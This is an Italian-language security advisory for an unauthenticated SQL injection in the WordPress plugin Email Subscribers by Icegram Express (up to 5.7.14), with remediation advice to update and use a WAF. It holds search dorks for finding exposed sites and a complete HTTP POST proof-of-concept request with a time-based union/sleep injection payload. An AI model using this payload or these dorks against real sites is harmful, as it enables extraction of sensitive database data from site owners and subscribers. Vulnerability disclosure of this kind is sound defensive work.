
#Descrizione della vulnerabilità: Il plugin per WordPress Email Subscribers by Icegram Express – Email Marketing, Newsletters, Automation for WordPress & WooCommerce è vulnerabile a SQL Injection tramite la funzione ‘run’ della classe ‘IG_ES_Subscribers_Query’ in tutte le versioni fino alla 5.7.14 inclusa, a causa di un escaping insufficiente sul parametro fornito dall'utente e della mancanza di una sufficiente preparazione della query SQL esistente. Ciò consente a utenti non autenticati di aggiungere query SQL aggiuntive a query già esistenti, che possono essere utilizzate per estrarre informazioni sensibili dal database.
#Dork: 1- FOFA : body="/wp-content/plugins/email-subscribers/" 2- publicwww : "/wp-content/plugins/email-subscribers/"
#POC: POST /wp-admin/admin-post.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
page=es_subscribers&is_ajax=1&action=_sent&advanced_filter[conditions][0][0][field]=status=99924)))union(select(sleep(4)))--+&advanced_filter[conditions][0][0][operator]==&advanced_filter[conditions][0][0][value]=1111
#Youtube POC: https://www.youtube.com/watch?v=eDEGt_yXyvE
#Come risolvere ? Poiché tutte le versioni fino alla 5.7.14 sono risultate affette dalla CVE, si consiglia agli utenti di aggiornare il plugin Email Subscribers by Icegram Express alla versione 5.7.15 (o alla release più recente, la 5.7.19). Gli utenti di Patchstack hanno la possibilità di attivare aggiornamenti automatici specificamente per i plugin vulnerabili. Implementare una soluzione WAF/WAAP come livello aggiuntivo di protezione. Il vantaggio di tali soluzioni è che anche se la vulnerabilità è nuova e sconosciuta (0-day), possono comunque prevenire gli attacchi rilevando modelli e tecniche di sfruttamento.